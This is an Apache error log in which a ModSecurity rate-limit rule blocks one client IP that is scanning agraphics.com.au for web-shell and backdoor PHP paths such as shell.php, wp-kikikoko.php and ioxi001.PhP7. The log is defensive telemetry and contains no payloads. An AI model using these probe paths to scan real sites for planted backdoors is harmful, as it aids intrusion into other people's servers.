[Thu Apr 23 21:18:53.492906 2026] [:error] [pid 65000:tid 65048] [client 158.158.123.88:49571] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeocPb6vRb9j6psK2ZaCVwAAAg8"]
[Thu Apr 23 21:18:55.074911 2026] [:error] [pid 65000:tid 65031] [client 158.158.123.88:62784] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeocP76vRb9j6psK2ZaCZgAAAgI"]
[Thu Apr 23 21:18:55.693397 2026] [:error] [pid 42972:tid 43035] [client 158.158.123.88:4254] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeocP8OAb-3sOknsk4c6fAAAAFM"]
[Thu Apr 23 21:18:56.787794 2026] [:error] [pid 42973:tid 43052] [client 158.158.123.88:54733] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeocQG6I0QqmmmLTHE0ZdAAAAIk"]
[Thu Apr 23 21:18:58.167713 2026] [proxy_fcgi:error] [pid 65000:tid 65043] [client 158.158.123.88:49594] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:18:58.415808 2026] [proxy_fcgi:error] [pid 65000:tid 65054] [client 158.158.123.88:49594] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:18:58.915785 2026] [proxy_fcgi:error] [pid 65000:tid 65046] [client 158.158.123.88:49594] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:18:59.187482 2026] [proxy_fcgi:error] [pid 65000:tid 65044] [client 158.158.123.88:49594] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:18:59.451293 2026] [proxy_fcgi:error] [pid 65000:tid 65032] [client 158.158.123.88:49594] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:19:00.003086 2026] [proxy_fcgi:error] [pid 65000:tid 65040] [client 158.158.123.88:49594] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:19:00.236942 2026] [proxy_fcgi:error] [pid 42973:tid 43067] [client 158.158.123.88:4542] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:19:00.310009 2026] [proxy_fcgi:error] [pid 65000:tid 65045] [client 158.158.123.88:49594] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:19:00.503468 2026] [proxy_fcgi:error] [pid 42973:tid 43054] [client 158.158.123.88:4542] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:19:00.750100 2026] [:error] [pid 42973:tid 43053] [client 158.158.123.88:4542] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeocRG6I0QqmmmLTHE0ZegAAAIo"]
[Thu Apr 23 21:19:00.796104 2026] [:error] [pid 65000:tid 65038] [client 158.158.123.88:49594] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeocRL6vRb9j6psK2ZaClQAAAgU"]
[Thu Apr 23 21:19:02.249081 2026] [:error] [pid 42973:tid 43060] [client 158.158.123.88:31967] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeocRm6I0QqmmmLTHE0ZfAAAAJE"]
[Thu Apr 23 21:19:03.209934 2026] [:error] [pid 42973:tid 43049] [client 158.158.123.88:54761] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeocR26I0QqmmmLTHE0ZgAAAAIY"]
[Thu Apr 23 21:19:04.619003 2026] [:error] [pid 25635:tid 25643] [client 158.158.123.88:42567] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeocSMRxv6UsgRGKB3IzfwAAAQQ"]
[Thu Apr 23 21:19:06.154866 2026] [:error] [pid 42972:tid 43036] [client 158.158.123.88:31979] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aeocSsOAb-3sOknsk4c6jwAAAFQ"]
[Thu Apr 23 21:19:06.462676 2026] [:error] [pid 64998:tid 65009] [client 158.158.123.88:34964] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeocSoV5EysYcTLjmwh5AwAAAcc"]
[Thu Apr 23 21:19:06.946782 2026] [:error] [pid 65000:tid 65040] [client 158.158.123.88:31999] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aeocSr6vRb9j6psK2ZaCsgAAAgc"]
[Thu Apr 23 21:19:07.502690 2026] [:error] [pid 65000:tid 65030] [client 158.158.123.88:62828] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aeocS76vRb9j6psK2ZaCtwAAAgE"]
[Thu Apr 23 21:19:08.062105 2026] [:error] [pid 65000:tid 65055] [client 158.158.123.88:28103] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aeocTL6vRb9j6psK2ZaCwgAAAhY"]
[Thu Apr 23 21:19:08.651116 2026] [:error] [pid 42973:tid 43067] [client 158.158.123.88:4995] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeocTG6I0QqmmmLTHE0ZhwAAAJg"]
[Thu Apr 23 21:19:09.384744 2026] [:error] [pid 65000:tid 65049] [client 158.158.123.88:49578] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeocTb6vRb9j6psK2ZaCywAAAhA"]
[Thu Apr 23 21:19:09.909038 2026] [:error] [pid 65000:tid 65039] [client 158.158.123.88:49583] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeocTb6vRb9j6psK2ZaC0gAAAgY"]
[Thu Apr 23 21:19:09.958785 2026] [:error] [pid 59700:tid 59712] [client 158.158.123.88:49590] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeocTZXyGZJFeAIDWtkoGAAAAUo"]
[Thu Apr 23 21:19:10.511582 2026] [:error] [pid 59700:tid 59719] [client 158.158.123.88:5043] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeocTpXyGZJFeAIDWtkoGwAAAVE"]
[Thu Apr 23 21:19:10.818641 2026] [:error] [pid 42972:tid 43026] [client 158.158.123.88:4861] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeocTsOAb-3sOknsk4c6nQAAAEo"]
[Thu Apr 23 21:19:11.201025 2026] [:error] [pid 43083:tid 43086] [client 158.158.123.88:34961] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aeocTzC5hrvNXosL83J3vQAAAME"]
[Thu Apr 23 21:19:11.386093 2026] [:error] [pid 42972:tid 43025] [client 158.158.123.88:49569] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aeocT8OAb-3sOknsk4c6pAAAAEk"]
[Thu Apr 23 21:19:11.804551 2026] [:error] [pid 42972:tid 43028] [client 158.158.123.88:5019] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aeocT8OAb-3sOknsk4c6qQAAAEw"]
[Thu Apr 23 21:19:11.899478 2026] [:error] [pid 64998:tid 65021] [client 158.158.123.88:4805] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aeocT4V5EysYcTLjmwh5EAAAAdM"]
[Thu Apr 23 21:19:12.474819 2026] [:error] [pid 42973:tid 43058] [client 158.158.123.88:34971] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aeocUG6I0QqmmmLTHE0ZjAAAAI8"]
[Thu Apr 23 21:19:12.480142 2026] [:error] [pid 65000:tid 65045] [client 158.158.123.88:4486] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aeocUL6vRb9j6psK2ZaC3AAAAgw"]
[Thu Apr 23 21:19:13.087466 2026] [:error] [pid 42971:tid 43002] [client 158.158.123.88:49593] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aeocUTEP2_5RswrH8bEqVwAAABA"]
[Thu Apr 23 21:19:13.121498 2026] [:error] [pid 42973:tid 43066] [client 158.158.123.88:34955] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aeocUW6I0QqmmmLTHE0ZjgAAAJc"]
[Thu Apr 23 21:19:13.584729 2026] [:error] [pid 64967:tid 64970] [client 158.158.123.88:49564] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeocUYAV4GfOOdX8Qzp1OgAAAYE"]
[Thu Apr 23 21:19:13.937707 2026] [:error] [pid 42973:tid 43048] [client 158.158.123.88:34984] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeocUW6I0QqmmmLTHE0ZkAAAAIU"]
[Thu Apr 23 21:19:14.098416 2026] [:error] [pid 42973:tid 43047] [client 158.158.123.88:62825] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeocUm6I0QqmmmLTHE0ZkQAAAIQ"]
[Thu Apr 23 21:19:14.596517 2026] [:error] [pid 64967:tid 64985] [client 158.158.123.88:5030] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeocUoAV4GfOOdX8Qzp1OwAAAZA"]
[Thu Apr 23 21:19:14.860030 2026] [:error] [pid 42973:tid 43056] [client 158.158.123.88:49561] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeocUm6I0QqmmmLTHE0ZlwAAAI0"]
[Thu Apr 23 21:19:15.123599 2026] [:error] [pid 64998:tid 65008] [client 158.158.123.88:49551] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeocU4V5EysYcTLjmwh5FwAAAcY"]
[Thu Apr 23 21:19:15.634024 2026] [:error] [pid 65000:tid 65031] [client 158.158.123.88:34995] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aeocU76vRb9j6psK2ZaC5wAAAgI"]
[Thu Apr 23 21:19:16.221724 2026] [:error] [pid 65000:tid 65047] [client 158.158.123.88:34981] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aeocVL6vRb9j6psK2ZaC7AAAAg4"]
[Thu Apr 23 21:19:16.508490 2026] [:error] [pid 64998:tid 65012] [client 158.158.123.88:4368] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeocVIV5EysYcTLjmwh5HQAAAco"]
[Thu Apr 23 21:19:16.727633 2026] [:error] [pid 64998:tid 65005] [client 158.158.123.88:4529] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aeocVIV5EysYcTLjmwh5IAAAAcM"]
[Thu Apr 23 21:19:17.209916 2026] [:error] [pid 42973:tid 43044] [client 158.158.123.88:54747] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aeocVW6I0QqmmmLTHE0ZngAAAIE"]
[Thu Apr 23 21:19:17.320394 2026] [:error] [pid 64998:tid 65014] [client 158.158.123.88:62789] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeocVYV5EysYcTLjmwh5JQAAAcw"]
[Thu Apr 23 21:19:17.690290 2026] [:error] [pid 64998:tid 65016] [client 158.158.123.88:62799] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeocVYV5EysYcTLjmwh5KQAAAc4"]
[Thu Apr 23 21:19:17.904479 2026] [:error] [pid 64998:tid 65022] [client 158.158.123.88:5007] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeocVYV5EysYcTLjmwh5KwAAAdQ"]
[Thu Apr 23 21:19:18.181397 2026] [:error] [pid 46953:tid 46974] [client 158.158.123.88:4810] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeocVknlpdHh-P6wKbo4XwAAAlI"]
[Thu Apr 23 21:19:18.398850 2026] [:error] [pid 46953:tid 46964] [client 158.158.123.88:54783] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeocVknlpdHh-P6wKbo4YQAAAkg"]
[Thu Apr 23 21:19:18.667006 2026] [:error] [pid 64998:tid 65021] [client 158.158.123.88:35002] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeocVoV5EysYcTLjmwh5MAAAAdM"]
[Thu Apr 23 21:19:19.235800 2026] [:error] [pid 42973:tid 43047] [client 158.158.123.88:4400] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeocV26I0QqmmmLTHE0ZpQAAAIQ"]
[Thu Apr 23 21:19:19.509800 2026] [:error] [pid 59700:tid 59705] [client 158.158.123.88:4405] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeocV5XyGZJFeAIDWtkoJQAAAUM"]
[Thu Apr 23 21:19:19.804064 2026] [:error] [pid 64998:tid 65015] [client 158.158.123.88:4826] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeocV4V5EysYcTLjmwh5NgAAAc0"]
[Thu Apr 23 21:19:20.322584 2026] [:error] [pid 65000:tid 65050] [client 158.158.123.88:4541] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeocWL6vRb9j6psK2ZaC-AAAAhE"]
[Thu Apr 23 21:19:20.744025 2026] [:error] [pid 65000:tid 65056] [client 158.158.123.88:62787] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeocWL6vRb9j6psK2ZaC_AAAAhc"]
[Thu Apr 23 21:19:20.856607 2026] [:error] [pid 59700:tid 59718] [client 158.158.123.88:4513] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeocWJXyGZJFeAIDWtkoKAAAAVA"]
[Thu Apr 23 21:19:21.370322 2026] [:error] [pid 65000:tid 65054] [client 158.158.123.88:4371] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeocWb6vRb9j6psK2ZaDAQAAAhU"]
[Thu Apr 23 21:19:21.911011 2026] [:error] [pid 65000:tid 65031] [client 158.158.123.88:4355] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeocWb6vRb9j6psK2ZaDBQAAAgI"]
